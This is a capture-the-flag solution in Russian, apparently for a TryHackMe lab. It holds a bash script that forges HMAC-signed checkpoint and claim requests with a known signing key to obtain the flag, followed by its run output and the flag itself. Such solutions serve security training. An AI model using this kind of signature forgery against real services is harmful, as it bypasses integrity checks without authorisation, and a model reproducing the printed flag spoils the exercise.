index

Решение

```
#!/usr/bin/env bash
set -euo pipefail

BASE="${BASE:-http://gla2.thm}"
KEY="${KEY:-gla2_crew_sign_v1_2f9b6c8ad14e}"

for cmd in curl jq openssl; do
    if ! command -v "$cmd" >/dev/null 2>&1; then
        echo "[-] Не найдено: $cmd"
        echo "    Установи: sudo apt install curl jq openssl"
        exit 1
    fi
done

echo "[*] Создаю сессию..."

SESSION_JSON=$(curl -sS "$BASE/session" \
    -H 'Content-Type: application/json' \
    --data '{}')

# Проверяем ответ
if printf '%s' "$SESSION_JSON" | jq -e '.error' >/dev/null 2>&1; then
    echo "[-] Ошибка сессии:"
    printf '%s\n' "$SESSION_JSON" | jq .
    exit 1
fi

SID=$(printf '%s' "$SESSION_JSON" | jq -r '.session_id')
TOKEN=$(printf '%s' "$SESSION_JSON" | jq -r '.token')

S0=$(printf '%s' "$SESSION_JSON" | jq -r '.stash_order[0]')
S1=$(printf '%s' "$SESSION_JSON" | jq -r '.stash_order[1]')
S2=$(printf '%s' "$SESSION_JSON" | jq -r '.stash_order[2]')

echo "[+] SID:   $SID"
echo "[+] Порядок: $S0 $S1 $S2"
echo "[+] Токен: $TOKEN"

checkpoint() {
    local STEP="$1"
```

```
    echo
    echo "[*] Ждем 6 сек (требует сервер) до: $STEP"
    sleep 6

    echo "[*] checkpoint: $STEP"

    local SIG
    SIG=$(printf '%s' "${SID}|${STEP}|${TOKEN}" |
        openssl dgst -sha256 -hmac "$KEY" |
        awk '{print $2}')

    local RESPONSE
    local HTTP_CODE
    local BODY

    RESPONSE=$(curl -sS -X POST "$BASE/checkpoint" \
        -H 'Content-Type: application/json' \
        --data "
{\"session_id\":\"$SID\",\"step\":\"$STEP\",\"token\":\"$TOKEN\",\"sig\":\"$SI
G\"}" \
        -w '\nHTTP_STATUS:%{http_code}')

    HTTP_CODE=$(printf '%s\n' "$RESPONSE" |
        tail -n 1 |
        cut -d: -f2)

    BODY=$(printf '%s\n' "$RESPONSE" |
        sed '$d')

    echo "[+] HTTP: $HTTP_CODE"

    # Показываем ошибку сервера
    if [[ "$HTTP_CODE" != "200" ]]; then
        echo "[-] Ответ сервера:"
        printf '%s\n' "$BODY" | jq . 2>/dev/null || printf '%s\n' "$BODY"
        exit 1
    fi

    # Проверяем JSON error
    if printf '%s' "$BODY" | jq -e '.error' >/dev/null 2>&1; then
        echo "[-] Ошибка чекпоинта:"
        printf '%s\n' "$BODY" | jq .
        exit 1
    fi
```

```
    # Новый token от сервера
    TOKEN=$(printf '%s' "$BODY" | jq -r '.token')

    NEXT=$(printf '%s' "$BODY" | jq -r '.next')

    echo "[+] OK:    $STEP"
    echo "[+] Следующий шаг:  $NEXT"
    echo "[+] Токен: $TOKEN"
}


checkpoint "heat5"

checkpoint "stash${S0}"
checkpoint "stash${S1}"
checkpoint "stash${S2}"

checkpoint "vault"

echo
echo "[*] Делаю роль..."

ROLE_SOURCE="heat5_stash${S0}_stash${S1}_stash${S2}_vault"

ROLE=$(printf '%s' "$ROLE_SOURCE" |
    openssl dgst -sha1 |
    awk '{print $2}')

echo "[+] ROLE_SOURCE: $ROLE_SOURCE"
echo "[+] ROLE:        $ROLE"

CLAIM_SIG=$(printf '%s' "${SID}|claim|${TOKEN}" |
    openssl dgst -sha256 -hmac "$KEY" |
    awk '{print $2}')

echo "[+] CLAIM_SIG: $CLAIM_SIG"

echo
echo "[*] Ждем 6 секунд до запроса флага..."
sleep 6

echo "[*] Claiming..."

CLAIM_RESPONSE=$(curl -sS -X POST "$BASE/claim" \
    -H 'Content-Type: application/json' \
    --data "
```

```
{\"session_id\":\"$SID\",\"role\":\"$ROLE\",\"token\":\"$TOKEN\",\"sig\":\"$CL
AIM_SIG\"}")

echo
echo "[+] Ответ:"
printf '%s\n' "$CLAIM_RESPONSE" | jq . 2>/dev/null || printf '%s\n'
"$CLAIM_RESPONSE"

FLAG=$(printf '%s' "$CLAIM_RESPONSE" |
    jq -r '.flag // empty' 2>/dev/null || true)

if [[ -n "$FLAG" ]]; then
    echo
    echo "========================================"
    echo " FLAG: $FLAG"
    echo "========================================"
else
    echo
    echo "[-] Flag не получен."
    exit 1
fi
```

Ответ

```
$ ./solve.sh
[*] Создаю сессию...
[+] SID:   VDfMQrptPvbJTBFnPreUuEL0
[+] Порядок: 1 2 0
[+] Токен: Y79EiflXdKdXHMKaSOD6qivH

[*] Ждем 6 сек (требует сервер) до: heat5
[*] checkpoint: heat5
[+] HTTP: 200
[+] OK:    heat5
[+] Следующий шаг:  stash1
[+] Токен: QsrvO1s2UkFe1X_h3lyfII3s

[*] Ждем 6 сек (требует сервер) до: stash1
[*] checkpoint: stash1
[+] HTTP: 200
[+] OK:    stash1
[+] Следующий шаг:  stash2
[+] Токен: t3bkGShNhUtZ6glNj1oWg4IZ

[*] Ждем 6 сек (требует сервер) до: stash2
```

```
[*] checkpoint: stash2
[+] HTTP: 200
[+] OK:    stash2
[+] Следующий шаг:  stash0
[+] Токен: KBHcAVY739XKK_4Was1dn4zB

[*] Ждем 6 сек (требует сервер) до: stash0
[*] checkpoint: stash0
[+] HTTP: 200
[+] OK:    stash0
[+] Следующий шаг:  vault
[+] Токен: JRsvWYZQ3OU3WqKuqDrccbDO

[*] Ждем 6 сек (требует сервер) до: vault
[*] checkpoint: vault
[+] HTTP: 200
[+] OK:    vault
[+] Следующий шаг:  null
[+] Токен: 5ZdzRBIXKGFXJbMTNh2iwKZk

[*] Делаю роль...
[+] ROLE_SOURCE: heat5_stash1_stash2_stash0_vault
[+] ROLE:        179c38f0bb7c1736088aa30dca07e76b16b5e7dd
[+] CLAIM_SIG:
978f6b81718cf5bff78b6639c904ec396d165b80c4402c5ddc0640becbcf1e0a

[*] Ждем 6 секунд до запроса флага...
[*] Claiming...

[+] Ответ:
{
  "flag": "THM{Th4ts_th3_wr0ng_g4m3_t0mmy}"
}

========================================
 FLAG: THM{Th4ts_th3_wr0ng_g4m3_t0mmy}
========================================
```